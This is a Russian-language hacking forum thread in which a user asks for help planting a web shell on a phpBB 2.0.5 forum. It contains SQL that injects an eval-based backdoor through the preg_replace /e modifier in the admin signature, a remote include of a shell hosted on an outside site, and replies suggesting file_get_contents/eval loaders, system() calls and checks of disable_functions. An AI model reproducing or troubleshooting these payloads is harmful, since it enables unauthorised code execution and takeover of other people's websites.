|
Вечер добрый, не получается залить шелл в phpbb 2.0.5.
Пытаюсь залить через восстановление БД: Код:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;И пхпинфо прекрасно отображается так: forum/profile.php?mode=editprofile&e=phpinfo(); А вот когда таким путем пытаюсь залить сам шелл: Код:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:include("http://site.ru/shell.php")' WHERE user_id=2;Получаю лишь белую, пустую страницу Прошу Вашей помощи |
Ах да, изначально косякнул в том, что залил шелл туда где пхп исполняется. Сейчас вроде нашел что-то адекватное, но не до конца уверен. Так что буду рад еще совету куда можно загрузить сам шелл, что в последствии уже без проблем загружать на нужный сайт.
|
Цитата:
используй file_get_contents(); |
Цитата:
Попробовал через file_get_contents(); Такая конструкция Код:
forum/profile.php?mode=editprofile&e=eval(file_get_contents(http://site/1.txt)); |
Цитата:
forum/profile.php? mode=editprofile&e=file_get_contents(http://site/1.txt); а 1.txt должен быть шелом но без тегов: |
Да, и так попробовал. Все верно, теги удалил.
Результат тот же. Реагирует ровно также когда ошибаюсь с синтаксисом. Т.е. ровно ничего не происходит. Работает только команда phpinfo(). |
Цитата:
|
Хе, и system(pwd) также не работает
|
Вообщем в чем дело понять не могу. Перепробовал уже все, и copy и include, и кавычки с пробелами через ASCII убирал. В пхп не силен вообще, использовал команды которые найти смог по данной теме.
В итоге результат один, никаких ошибок, просто отображается нормальный профиль админа без изменений. Срабатывает пхпинфо. И все. Что за. |
Так а, это, вероятность отключенных функций проверялась? Мне самому такое еще не попадалось, но оно дб прописано в php.ini, "disable_functions".
|
| Время: 18:25 |